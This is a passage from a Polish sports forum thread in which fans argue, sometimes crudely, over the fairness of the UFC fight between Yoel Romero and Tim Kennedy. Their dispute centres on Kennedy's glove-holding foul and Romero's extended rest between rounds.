  85. te trzymanie rękawicy to ciekawy myk, który pewnie będzie coraz częściej wykorzystywany, często ciężki do zauważenia, a dużo daje… mimo wszystko powinno być to surowo karane.

  86. Kaczka, bo był źle ustawiony, nie można tego uznawać za prawidłowe zachowanie, ale jest tylko człowiekiem i go rozumiem nawet w tej sytuacji. Tak jak podkreśliłem każdy w tej sytuacji patrzy raczej jednak na głowę gościa, który przyjmuje, bo co jeśli przy trzymaniu rękawicy dostawałby palcami po oczach? Taka zmyłka jak u magika, odwrócenie uwagi ciosami od przemyconego faulu 😉 Dlatego musimy wierzyć, że fighterzy będą bardziej honorowi i walczący na sportowo, a nie imającymi się takich trików. Przesiadywania na stołku dłużej również, ale z racji tego, że knockdown był wynikiem faulu Tima umniejszam sprawę tego przesiadywania.

  87. Zastanawiam się, czy można winić Romero, bo przecież po drugiej rundzie jego prawie nie było. Być może był bardzo zdezorientowany/oszołomiony. Być może też było też pewnego rodzaju cwaniactwo. Dziwna sytuacja, Yoela bardzo lubię, ciekawie się go ogląda. Myślicie, że te 30 sekund więcej odebrało wszystkie atuty Kennedy’emu, by skończyć co zaczął pod koniec drugiej rundy? Bardzo mnie to zastanawia.

  88. To te 28 sekund więcej przerwy znokautowało Tima przecież, nie widziałeś? 😉

  89. Właśnie widzę, że niektórzy do tego tak podchodzą. Narożnik być może celowo opóźnił powrót swojego zawodnika, ale umówmy się, że również Tim Kennedy miał więcej czasu na odpoczynek. Odpoczywali obaj. Być może Kubańczyk potrzebował tego czasu bardziej. Incydent jest bezapelacyjny, ale duża zasługa Romero, że wrócił i dał radę. Klasa światowa, świetna walka.

  90.  Odpoczywali obaj.

    Tyle że Romero był zamroczony więc ten czas dużo mu dał.Ale i tak Kennedy przetrzymywał w 2 rundzie rękawice Palacio więc werdykt nie powinien być zmieniony.

  91. Romero pokazał charakter. Pewnie, był zamroczony, ale ciężko jednoznacznie stwierdzić, czy bez tych 30 sekund by przegrał (ja w to wątpię, a niektórzy są tego pewni). Zgadzam się, swoją zabójczą serię Kennedy wystrzelił po faulu. Tak więc chyba sprawiedliwie, o ile można to równoważyć.

  92. Dokładnie, po ciosach kiedy Kenedy przytrzymywał Yoel'owi rękę, tego drugiego zamroczyło. A potem Kene, trafił kilka razy zamroczonego Romero. Jeden i drugi dał dupy, więc nie widzę dlaczego werdykt miałby być zmieniony.

  93. Wszyscy pisza, ze jest ok, bo skoro Tim byl troche nie fair to i Romero mogl. Do jasnej ciasnej nie powinno sie naprawiac bledow kolejnymi bledami! Czy to w pilce noznej, siatkowce, koszykowce czy w sportach walki. Sedzia nie mogl wychwycic przewinienia Tima, ale widzial przedluzanie Romero i nic z tym nie zrobil i to jest niedopuszczalne.

  94. A dlaczego mamy przymykać oko na przewinienie Tima???? Bezwzględu na to czy widział to sędzia czy nie zachował się nie fair.

  95. A gdzie ja napisalem, ze mamy przymykac oko? Czytaj ze zrozumieniem…

    Nigdy sie nie zgodze na naprawe bledu kolejnym bledem, sedzia przewinienia Tima nie widzial, wiec nie mogl zareagowac, przewinienie Romero bylo jawne i mial obowiazek zareagowac, koniec kropka.

  96. A potem dać NC po walce jakby jakoś Tim to wygrał, bo knockdown był podczas jawnego faulowania. W ten sposób zaczęli rundę 3 i jeden z nich wygrał w sportowy sposób. Odcinając jużto co się działo w 1 czy 2 czy między rundami 3 zdecydowanie dla Kubańczyka, więc nie ma co robić afery już.

    Tim nie ucierpiał poprzez przedłużanie, dłużej odpoczął, Romero przez faul owszem, ucierpiał i to mocno, a jednak zdołał wygrać w legalny sposób.

  97. UFC zawsze wyciąga wnioski z błędów i tak też będzie pewnie tym razem a to najważniejsze. Do ponownej walki obu zawodników może jeszcze kiedyś dojdzie to sobie wyjaśnią w ringu wszystko 🙂

  98. @def jak myślisz czy w  świecie (czyt. USA-UFC) zwrócili wogóle uwage na fakt że Tim trzymał za rękawice Romero ?

  99. rękawice jednak trochę chronią prze urazami dłoni, ale w czym problem, żeby za nie przytrzymać ?

  100. zgadzam się ze słowami mat01 odnośnie naprawiania błędów błędami. Nie może mieć coś takiego miejsca. To tak jakby sędzia niesłusznie podyktował karnego a potem zrozumiał że się pomylił i za chwilę z kapelusza wyciągnął drugiego karnego dla drużyny przeciwnej. McCarthy pownien bezwzględnie zareagować dobitniej na tą zamułę na taborecie i te +30 sek dla Romero było kluczowe dla jej wyniku w mojej opinii pomijając fakt trzymania za rękawicę, choć i tak na początku kennedy złapał go normalnie za rękę i wpakował podbródkowy. To że obaj odpoczywali i jest sprawiedliwie jest złym rozumowaniem.

  101. mat01, Mektator Beer

    Tylko nie piszcie proszę, że obaj tak samo odpoczywali przez te 30 sekund. Kennedy przecież przez te pół minuty kręcił się po klatce, podchodząc nawet do narożnika Romero (który siedział i nadal łapał oddech). W sytuacji gdy obaj ledwo stali z wyczerpania to, moim zdaniem, ma znaczenie.

  102. Yoel przygrał na czas prawie tak samo tandetnie jak piłkarzyki i takie rzeczy nie mają prawa się zdarzać. Tylko żeby takie przeciąganie nie weszło fajterą w krew bo to wtedy bedzie smutne. A ten zaginiony 4 Muszkieter lepiej niech walkę obejrzy na nowo bo święty też w niej nie był. 

    Tim oszukiwał i Yoel oszykiwał. Wygrał lepszy.

  103. Wy wszyscy ta serio z ta rękawica? Ja pierdole taki byk jak romero zerwalby ten „uchwyt ” jednym pociągnięciem ręki, ale widocznie nie chciał. Pewnie nawet tego nie zauważył, nikt nie zauważył oprócz cohones

  104. A ja widzę, że chciał cofnąć rękę, odskoczyć, ale jednak to trzymanie miało swoją wymowę. No, ale nie wchodźmy w tajniki  jaką siłą w newtonach Tim go trzymał, bo to już będzie czysta przesada 😉

  105. Wszyscy się mylimy  tylko born ma racje. On jako jedyny ocenia  obiektywnie (bo reszta już nie)  i wszystkie zawiłości nam wytłumaczy,  a jeśli ktoś jeszcze nie zalapie to mu może  rozrysować.  

    Podzielam zdanie chlopakow (aqua, Merkator, cypher, mat01) Czy fakt, ze mam odmienne zdanie od Twojego sprawia, że oceniam nieobiektywnie, czy może wynika to z tego, że sie słabo  znam.?  😉

  106. Serio nie zauważyłeś reszty osób, które mają zdanie podobnie do mojego tylko, że ja je szerzej opisuje i dyskutuje rozkładając na czynniki pierwsze? Ja zauważam fakt przedłużenia rundy itd. a Wy straszliwie bagatelizujecie to, że knockdown zaistniał w trakcie trzymania rękawicy, faulu w trakcie wymiany, a nie po prostu między rundami. Nieczystego zagrania, ale jednak bez wpływu na walkę pomiędzy oboma zawodnikami. Jakby Romero kopnał w krocze Tima i skulonego w pół jeszcze dobił trzema sierpami to spoko (wiem, wiem, kopnięcie w krocze to nie trzymanie rękawicy, ale forma faul + akcja DZIĘKI FAULOWI jest), ale oba zaistniałe faule są z zupełnie innej kategorii. Wszystko już w tym temacie zostało powiedziane i przeze mnie napisane, nie będę się powtarzał z argumentacją.

    Nie raz przyznawałem na forum rację, nie raz sypałem łeb popiołem, nie moja wina, że tego nie kojarzysz. Gdy widzę obiektywne podejście i sensowne argumenty to okej. Z resztą w tej sytuacji też można powiedzieć, ok, nie widział sędzia trzymania rękawicy, przedłużanie rundy widział, dajmy TKO Timowi, bo Yoel nie wstał i będzie super? Gdzie tu jest duch sportowy? Jak można nie zauważyć PO WALCE w jaki sposób doszło do knockdownu? Do 3 rundy wyszli na czysto i jeden znokautował drugiego. Czego więcej chcieć? Jakby znokautował Tima w 1 rundzie i 1 minucie to by ktoś mówił, że Romero za długo do klatki wychodził, a Tim czekał rozgrzany i przez to przegrał? Było nieczysto z obu stron w 2 rundzie i po, ale do 3 wyszli obaj, w dodatku na pewno Yoel wciąż oszołomiony, Tim nie, a Amerykanin dał się znokautować. Nie widzę sensu przyznawać mu więc w jakiś sposób zwycięstwa. Nie musisz się ze mną zgadzać, ale powinieneś rozumieć punkt widzenia jeśli cokolwiek potrafi do Ciebie dotrzeć.

    EOT.

  107. @Born, Twoje wywody nie przekonują mnie. Nie mam nawet zamiaru w tym miejscu zaczynać konkurować argumentami, bo zawsze odbijesz piłeczkę, a ja nie mam zbytnio czasu na darcie z Tobą kotów. Powodzenia.

  108. Born już 40x kończy temat ale za każdym razem musi jeszcze coś dopisać… Co z tego że Tim miał tyle samo czasu na odpoczynek skoro po takim wałku „głowa” już nie ta. Emocje wzięły górę i cały gameplan poszedł się jebać, a Romero akurat trafił rozpaczliwcem! No contest i rewanż!

  109. Bo mimo, że mówię koniec to ktoś nowy wchodzi w temat i odnosi się do tego co pisałem ;] Tym razem już olewam spieranie się, tylko Ci odpowiedziałem czemu dalej pisałem 😀 Tyle, że na pewno 40x nie kończyłem, więc masz tendencję do wyolbrzymiana, ale to popularna cecha 😉

  110. @Wolek masz racje DQ Tima za ten wałek z trzymaniem rękawicy Yoela. I rewanż żeby Romero roztrzaskał ryj oszusta  jeszcze bardziej. 

  111. po tym gifie to myślałem że mu chciał wyjebać, ale filmik wyjaśnił troche 

    zawsze tyle policji pilnuje zejścia do szatni? 
    Mayhem

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.